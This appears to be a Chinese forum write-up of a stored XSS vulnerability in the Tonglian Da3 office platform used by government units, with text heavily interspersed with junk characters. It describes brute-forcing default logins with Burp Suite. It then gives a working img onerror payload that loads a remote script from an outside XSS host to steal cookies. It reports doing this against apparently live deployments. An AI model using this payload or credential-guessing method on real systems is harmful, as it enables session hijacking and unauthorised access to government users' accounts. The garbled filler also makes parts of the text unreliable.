同联Da3协同办公平台后台通用储存型xss漏洞

admin

& C/ |9 ~# j+ m. `) H6 b X ( u0 r$ O3 C" E/ [5 M9 K ' G! ~; e& ]* c5 {' [: t" i3 y/ z ) A: N* }& O8 O4 x" T! N7 i5 c$ x2 b 4 t( e, P a/ w$ [

同联Da3协同办公平台后台通用储存型xss漏洞

平台简介： 8 ]$ b+ E, j) ^5 `$ ~; \

" G$ c2 \: }2 H4 o2 n* u, ^% x  

?; W1 g/ A2 N9 ^4 m) b: E 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
2 s$ {4 I l4 R( s8 @同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

( n+ ] W- O. p v& {2 P Y

 

* w5 ~& v8 b. x1 [, i

5 y. M# @( z* d# A7 K+ K7 t# }- V2 s 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

 

( I/ i/ l; r+ ~% Q7 H% Y } http://1.1.1.1:7197/cap-aco/#（案例2-） % X; F8 u8 z3 Z! \( D

http://www.XXOO.com （案例1-官网网站） ; d. u: h1 t% O Q

漏洞详情: " `2 E8 o3 p# S- g3 B4 x7 H6 b3 P

. q+ x* J0 H/ a% d) q7 M

, E) x' Y) b- A% `9 S% g3 A  案例一、 + e4 t# f4 X4 D6 }8 a8 }

5 C0 S$ a2 ^& d# Z: u

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 0 W0 _" H O" `. y( W5 D* l4 l T

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

4 p% n% T& \" ?   2 K& \, }7 t2 O* u( _

5 `3 u) A/ J6 j- H* Z ) |% d- L% T1 \' D

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

  - [3 N* U8 o$ t. E" ~! \

, t# s. k: E. T/ ~

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

; X0 R8 ^( z' ?' R i& f2 Q( K. h5 u

 

<img src=x - E# J/ M- `) t! j1 Z2 lonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

- R* D7 M8 ^3 u3 h n3 `) E

3 f- v0 Z8 ^7 @0 S2 F! Z$ ~5 {/ m* E

然后发送，接收cookie如图： . a6 z0 E/ q* m+ }& L( l) `

6 d e' X( d Y# f; B0 t$ s

+ M4 e$ {! ]; J/ v$ s- O  

 

+ j) ]7 Y. ?5 a

2 c$ D' I# F5 q   ; g9 [7 N1 f) a" P1 @& u

0 m7 t; S; w5 n0 z6 x( U/ A' O

% E0 c) [9 r! o1 n. Z  

; f# _& B& q/ ~/ Q' s: R( } 5 I$ g4 U/ V1 t' q% c. O

. q2 M" B3 s: D0 _

 

6 v5 X# L5 O& T4 m 案例2、

0 S0 u5 o/ M F% q! F2 X" S% O# O; i$ ^ 前面步骤都一样，下面看效果图：

& ^4 t9 [1 \3 k% h9 }9 X; o

- d! _! R; B* c( C

9 {) M. ]) @ ^6 U

 

' f; ]" t$ N: W7 i, L+ t$ I+ n9 \

  ( {. m; y; ^) ]

% L3 p4 d/ b( j7 w) \8 W2 F  

# H% p3 c9 S4 U2 b) v

  % A G- v# l; o; ^+ n& l. }9 \7 Q% |" L/ [

  6 G. ~ a: u' ^